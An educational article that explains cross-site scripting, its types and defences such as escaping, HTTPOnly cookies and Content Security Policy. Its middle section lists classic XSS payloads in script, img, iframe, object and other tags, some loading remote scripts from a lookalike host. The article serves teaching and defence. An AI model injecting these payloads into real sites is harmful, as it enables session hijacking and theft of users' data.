I was recently asked to explain how XSS attacks work in depth. That’s why I want to show you what XSS is, how an attacker might use it, and how a developer can protect an application from such kind of attacks. This article is only for educational purposes and I won’t be responsible for any misuse. Ready? Let’s get started.

1. What is XSS Attack

XSS stands for Cross-site Scripting (XSS) Attack (in case you wonder, the name contains “X” because, as a symbol, it looks like a cross) and this kind of attacks are injected mainly on the client-side but there are advanced methods where you could inject them on the server-side (and we will see how this happens).

In other words, this kind of attack starts from the view, the front-end, the website, and it’s a injection of a code which can be interpreted by the browser and executed even when we don’t want that to happen. The attacker can execute malicious scripts into a legitimate website or web application, and if it’s vulnerable, the user can be tricked in different ways.

In this article, I will assume that you have some basic background knowledge of how Client-Server architectures work in general so we can easily continue on the XSS. In case you don’t remember what am I talking about, let me help you:

One General Web Application usually consists of the following elements:

The Frontend (The looks of a webpage described with HTML, CSS, Javascript etc) — Interpreted by the Web browser who knows how to understand the code and show it like a visual representation;

The Backend (The logic, the functionalities provided in programming languages like JAVA, C#, PHP etc.);

The Model / Database (The container of the data that is kept for the application).

These elements communicate with each other and that’s how big applications work, with modularity and separation of the code.

Example of Client-Server architecture

There are 3 types of XSS attacks:

Non-persistent or Reflected XSS;

Persistent;

and DOM-based.

2. How can attackers make an XSS Attack?

In this scenario, we always need 3 objects: A hosted Website, a Hacker, and the Victim.

Simple Explanation of how XSS happens.

As we said earlier, the Attack needs to be injected into a legitimate website. What does that mean? It means that the attacker should need to find a way of using an input field or element where he can “inject” the script, and the browser then treats it like a code and executes it.The script from the attacker can then be delivered to the visitors and with help of javascript can then change the visual representation, or redirect the user to another link, or it may also collect a data from your browser(usually attacker wants the cookie or authentication data) which can result in session hijacking etc.

If the Web application is vulnerable to XSS, it will deliver the malicious script to the visitor and then the visitor will be tricked into activating the malicious script. XSS Attacks can be done in VBScript, ActiveX and Flash but they are mostly made in Javascript because Javascript is turned on by default on all browsers.

3. List of most used XSS Vectors

<Script> tag:

<script src=http://facebok.com/xss.js></script> <script> alert(“Boo!”); </script>

<Body> tag:

<body onload=alert(“I’m evil”)> <body background=”javascript:alert(“So Evil”)”>

<Img> tag:

<img src=”javascript:alert(“Evil”);”> <img dynsrc=”javascript:alert(‘Bad’)”> <img lowsrc=”javascript:alert(‘So bad!’)”>

<Iframe> tag:

<iframe src=”http://facebok.com/xss.html”>

<Input> tag:

<input type=”image” src=”javascript:alert(‘Evil work’);”>

<Link> tag:

<link rel=”stylesheet” href=”javascript:alert(‘Evil’);”>

<Table> tag:

<table background=”javascript:alert(‘Evil’)”> <td background=”javascript:alert(‘So evil’)”>

<Object> tag:

<object type=”text/x-scriptlet” data=”http://facebok.com/xss.html”>

<Div> tag:

<div style=”background-image: url(javascript:alert(‘Evil’))”>

These examples are only a few of the most known, the idea was to show you how the attacker would inject you. As you might see, if there is a field which is vulnerable, the script injected would be parsed as a code that will run locally and it might be used to trick you into clicking it, it can also collect some data and redirect you to get that data.

4. How to protect from XSS?

As an ItSec Tester, your job is to responsibly search and report for these vectors, but if you want to protect your application from XSS Attacks, please make sure that you follow the following rules:

Always expect what needs to be input and never insert untrusted Data Except in Allowed Locations; HTML Escape Before Inserting Untrusted Data into HTML Element Content; Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes; JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values; HTML escape JSON values in an HTML context and read the data with JSON.parse; URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values; Sanitize HTML Markup with a Library Designed for the Job Prevent DOM-based XSS; Use HTTPOnly cookie flag; Use an Auto-Escaping Template System and Implement Content Security Policy.

You can find more approaches to protect your application from this kinds of attacks, but that approaches are advanced and will be covered in some other article.

Thank you for reading my article, and feel free to share and recommend.